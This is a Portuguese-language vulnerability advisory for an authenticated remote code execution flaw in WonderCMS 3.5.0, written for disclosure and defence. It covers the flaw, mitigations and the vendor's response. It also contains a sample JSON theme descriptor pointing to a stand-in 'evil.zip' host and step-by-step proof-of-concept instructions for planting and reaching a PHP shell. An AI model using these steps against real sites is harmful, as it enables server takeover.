CVE-2025-57055: Execução Remota de Código Autenticada no WonderCMS 3.5.0

Mecânica da Vulnerabilidade

Existe uma vulnerabilidade de Execução Remota de Código (RCE) autenticada no WonderCMS v3.5.0.

O problema decorre de como a aplicação lida com instalações remotas de temas/módulos via descritores JSON. Quando um administrador envia um arquivo JSON remoto referenciando um arquivo ZIP, seu conteúdo é extraído para um diretório acessível via web (por exemplo, /themes/). Se o ZIP contiver um arquivo PHP, esse arquivo se torna acessível pela web e pode ser executado.

Esse comportamento introduz risco de RCE devido a:

• Falta de validação ou sanitização do conteúdo do ZIP.
• Nenhuma restrição sobre os tipos de arquivo extraídos de fontes remotas.
• Acessibilidade via web dos diretórios de temas/plugins.

Nota: A autenticação de administrador é necessária, mas as instalações padrão expõem a senha do administrador publicamente (na página inicial), usam login somente com senha e não impõem controles de autenticação fortes.

Critérios de aceitação para descritores remotos de módulos/temas

O WonderCMS aceitará e tentará instalar módulos/temas remotos se o descritor JSON enviado corresponder ao formato esperado wcms-modules.json. Um descritor que passe na verificação de formato (e aponte para um arquivo ZIP) será buscado e o conteúdo do arquivo será extraído para um diretório acessível via web (por exemplo, /themes/<nome>/) sem validação adicional dos tipos de arquivo.

Exemplo de descritor :

{
  "themes": {
    "SSRF": {
      "name": "FAKE",
      "repo": "https://example.com/",
      "zip": "https://example.com/evil.zip",
      "summary": "test",
      "version": "1.0.0",
      "image": "https://example.com/fake.png"
    }
  }
}

Prova de Conceito (PoC)

Aviso: Não execute em sistemas de produção. Use apenas ambientes de teste autorizados.

1. Obtenha a senha do administrador na página inicial publicamente exposta de uma instalação padrão do WonderCMS.

2. Faça login no painel de administração.

3. Navegue até a seção de instalação de temas.

4. Forneça a URL de um descritor JSON malicioso (por exemplo, hospedado em um servidor controlado pelo atacante).

5. Inicie a instalação. O servidor irá:

• Buscar o descritor.
• Baixar o arquivo ZIP especificado.

6. Instale o tema malicioso baixado.

7. Acesse o shell PHP extraído (por exemplo, http://target.com/themes/<Theme_Name>/shell.php) para executar comandos arbitrários.

(Nota: Execute estas etapas somente em um ambiente de teste controlado. Explorar esta vulnerabilidade em sistemas ativos sem autorização é ilegal.)

Resposta do Fornecedor

• A vulnerabilidade foi relatada aos mantenedores do WonderCMS em julho de 2025.

• Os mantenedores reconheceram o relatório, mas observaram que, em sua visão, esse comportamento é aceitável para administradores.

Orientações de Mitigação

Para reduzir a exposição:

• Restrinja os recursos de instalação remota a fontes confiáveis (por exemplo, apenas GitHub).
• Valide e sanitize o conteúdo do ZIP antes de extrair.
• Reforce a autenticação:
  • Oculte a senha do administrador após a instalação.
  • Exija login com usuário/senha.
  • Ative a autenticação multifator (se disponível).
• Impeça o acesso a arquivos executáveis dentro de themes/ ou plugins/ por meio da configuração do servidor.

Referências

• WonderCMS no GitHub
• OWASP A05:2021 – Falha de Configuração de Segurança
• CWE-434 – Upload Irrestrito de Arquivo com Tipo Perigoso

Aviso Legal

Esta informação é fornecida para fins educacionais e de pesquisa defensiva em segurança. Sempre obtenha autorização adequada antes de testar ou divulgar vulnerabilidades.